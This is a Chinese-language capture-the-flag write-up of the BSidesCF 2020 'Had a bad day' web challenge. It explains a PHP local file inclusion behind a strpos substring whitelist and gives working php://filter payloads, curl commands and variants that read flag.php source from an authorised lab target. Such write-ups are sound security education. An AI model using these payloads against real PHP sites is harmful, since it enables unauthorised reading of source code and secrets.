BSidesCF 2020 - Web - Had a bad day

结论先行:category 参数存在 LFI,白名单用 strpos 子串匹配而非全等。把 php://filter 与白名单子串 index 拼成 resource=index/../flag,既通过白名单又让 include 落到 flag.php,convert.base64-encode 把源码编码回显,解码即得 flag。

题目信息

项 内容
比赛 BSidesCF 2020
方向 Web
难度 Easy
分值 1
状态 已解决(提交 accepted)
环境 授权靶场(靶标地址 / 实例 ID 已脱敏)

知识点:本地文件包含(LFI)、php://filter 伪协议源码读取、strpos 子串白名单绕过、../ 路径抵消。

信息收集

访问首页 GET /,页面为 “Had a bad day?” 图片页,表单通过 GET index.php?category=woofers|meowers 切换内容。请求 ?category=woofers 回显 Woof! Woof! 与图片,说明 category 的值被直接用于文件包含。响应指纹为 Server: openresty、X-Powered-By: PHP/7.4.3。

先用伪协议读自身源码,确认后端逻辑:

1
curl.exe -s "http://TARGET:80/index.php?category=php://filter/convert.base64-encode/resource=index"

对返回的 base64 解码,得到 index.php 核心逻辑。

漏洞分析

读回的 index.php 关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index" )){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

三处叠加形成可利用链:

  1. include ($file . '.php') 直接拼接用户输入 → 存在 LFI。
  2. 白名单用 strpos($file, "woofers"/"meowers"/"index"),只要字符串包含任一子串即通过,并非前缀或全等匹配。
  3. 第三个条件 strpos($file, "index") 未写 !== false,返回值为位置整数:index 出现在非 0 位置为真、出现在 0 位置(===0)为假。因此把 index 放在 resource= 路径首段即可稳定命中。

把 php://filter 与白名单子串组合进同一个 category:resource=index/../flag。字符串含 index 通过白名单;include 时 index/../flag.php 中的 ../ 抵消 index/,实际解析到 flag.php;convert.base64-encode 把 PHP 源码编码后回显,绕过 PHP 执行,直接拿到注释里的 flag。

利用过程

  1. 探测首页 GET /,确认图片页与 category 表单。
  2. GET /?category=woofers 回显 Woof! Woof! + 图片,确认 category 被 include。
  3. ?category=php://filter/convert.base64-encode/resource=index 读回 index.php,base64 解码得到上述源码,确认白名单逻辑。
  4. 构造绕过:?category=php://filter/convert.base64-encode/resource=index/../flag。响应 page-include 内返回 base64 文本(内容已脱敏,解码后为 <!-- Can you read this flag? --> 与注释中的 flag)。
  5. base64 解码得到 flag.php 内容:<!-- Can you read this flag? --> 与 // flag{xxxx}。
  6. 用 woofers/../flag、meowers/../flag、read=convert.base64-encode 三种变体交叉验证,均得到同一 flag(独立验证通过)。
  7. 提交 flag,返回 accepted=true、is_solved=true。

逐步验证(响应要点):

步骤 payload 观察
1 category=woofers 回显 Woof! Woof!,确认包含点
2 php://filter/.../resource=index 回显 index.php 源码 base64
3 php://filter/.../resource=index/../flag 回显 flag.php 源码 base64
4 解码 注释中 flag{xxxx}

完整 EXP

1
2
3
4
5
6
7
8
# 读 index.php 源码(拿白名单逻辑)
curl.exe -s "http://TARGET:80/index.php?category=php://filter/convert.base64-encode/resource=index"

# 读 flag.php(最终 payload)
curl.exe -s "http://TARGET:80/index.php?category=php://filter/convert.base64-encode/resource=index/../flag"

# base64 解码(Python)
python -c "import base64;print(base64.b64decode('<响应中的 base64>').decode())"

等价可用变体(均回显同一结果):

1
2
3
?category=php://filter/convert.base64-encode/resource=woofers/../flag
?category=php://filter/convert.base64-encode/resource=meowers/../flag
?category=php://filter/read=convert.base64-encode/resource=index/../flag

Windows PowerShell 下须用 curl.exe(curl 是 Invoke-WebRequest 别名);http://TARGET:80 为脱敏后的靶标入口占位。

Flag

1
flag{xxxx}

已脱敏。真实 flag 随靶机实例动态生成(含随机 UUID),仅对应本次启动的实例;按本文方法复现即可取得当前实例的 flag,真实值保留在本地 wp,不写入公开站点。

踩坑与总结

  • strpos 做白名单是典型误用:它判断「是否包含子串」,不是「是否为允许值」;只要 payload 里嵌一个 index/woofers/meowers 就能过。
  • include ($file . '.php') 会自动补 .php 后缀,所以 resource= 里不要写扩展名;../ 用来抵消被拼进来的首段目录。
  • php://filter/convert.base64-encode 让目标文件以「编码后的文本」被 include 回显,而不是被 PHP 执行,这是读取含 PHP 标签源码的关键。
  • 第三个 strpos($file, "index") 少了 !== false,当 index 恰好在开头时返回 0 为假;把 index 放进 resource= 路径首段(前面还有 php://filter/...)即可避开这个边界。
  • 用多个等价变体交叉验证同一结果,可排除「偶然命中」的误判。